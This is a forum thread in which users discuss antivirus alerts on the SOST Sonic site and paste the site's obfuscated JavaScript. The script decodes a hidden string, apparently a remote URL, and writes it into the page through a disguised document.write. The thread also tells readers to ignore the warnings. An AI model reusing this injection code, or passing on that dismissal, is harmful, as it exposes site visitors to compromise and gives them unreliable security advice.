SOST is full of viruses

Haha, yes. This was mentioned a week or two ago. Dunno how long they've been there for, but it's quite annoying.

 

Just went there to test it it out. You're not the only one getting them.

 

Andy Wolan is too busy (EDIT - Inflammatory - T) playing softball to fix the entire Emulation Zone.
I believe that GerbilSoft downloaded the entire SOST for wiki images though. If SOST is still required perhaps permission could be sought to host it elsewhere?

 

Getting them with Avast as well.

 

I've offered to maintain it for Rlan 3 or 4 times and he always says he'll consider it, then never gets back to me. Rlan indeed has abandoned the site, and he said his intention is to make a sister site that is like Sost, but more generalized (I.e. not necessarily about sonic, sort of like how Sonic Cult became Hacking Cult).

I'd still be down to maintain it, though.

 

Don't you mean "how Sonic Cult became X-Cult" ?

 

Er, right. Too many cults to keep up with.

 

It's because the small amount of javascript at SoST is obfuscated. As a result of this, anti-virus programs will fire a warning in case the obfuscated javascript is an XSS exploit in disguise or whatever. Ignore the warning.

 

I have to agree, possibly to make ad blocking more difficult, it is also possible the same code has been used on malware sites, thus setting off AV software as some malware (and associated websites) use code that's extremely similar to legitimate code to make it all that much more difficult for AV software to blacklist without effecting legitimate software and websites.

 

Well wow thanks for the warning, even though I'm on Linux I won't be going there any time soon.

 

I decided to make sure that the reason for the warning was obfuscated javascript, and it seems so:

Code (Text):

1. function urb(GihZlaf){var XNoZdYIaJq=7,qtTAU=8;var YxseDmCjJ='86+5,53+3,34+1,91+0,101+4,101+4,98+0,50+6,41+1,41+1,101+4,84+7,98+0,91+7,99+
2. 6,97+1,101+4,88+3,96+2,40+2,91+7,96+2,89+2,97+1,41+1,94+4,91+7,96+2,40+2,86+5,90+
3. 1,91' +
4. '7,55+1,92+6,106+6,97+1,34+1,54+2,52+4,41+1,91+7,89+2,99+6,84+7,95+3,88+3,54+
5. 2,',mGnbjgWJ=YxseDmCjJ.split(',');youWKW='';
6. for(dJC=0;dJC<mGnbjgWJ.length-1;dJC++){ vHFjYLk=mGnbjgWJ[dJC].split('+');
7. FUGSFoNTNh = parseInt(vHFjYLk[0]*qtTAU)+parseInt(vHFjYLk[1]);FUGSFoNTNh = parseInt(FUGSFoNTNh)/XNoZdYIaJq;youWKW += String.fromCharCode(FUGSFoNTNh);}return youWKW;}
8. document['wri5te'.replace(/[0-9]/,'')](RXWtGlQ('GWbkhEiw')+urb('vvAWXu'));

Take a look at the coding for that function. There isn't even proper spacing.

EDIT: Wow, there's actually 2 functions hidden within that code. I've spaced it just enough to stop it stretching the tables.

 

God, that's horrible, I could never write code like that. I need whitespace.

 

Rlan sure does have a habit of starting up pretty popular sites and then abandoning them. :\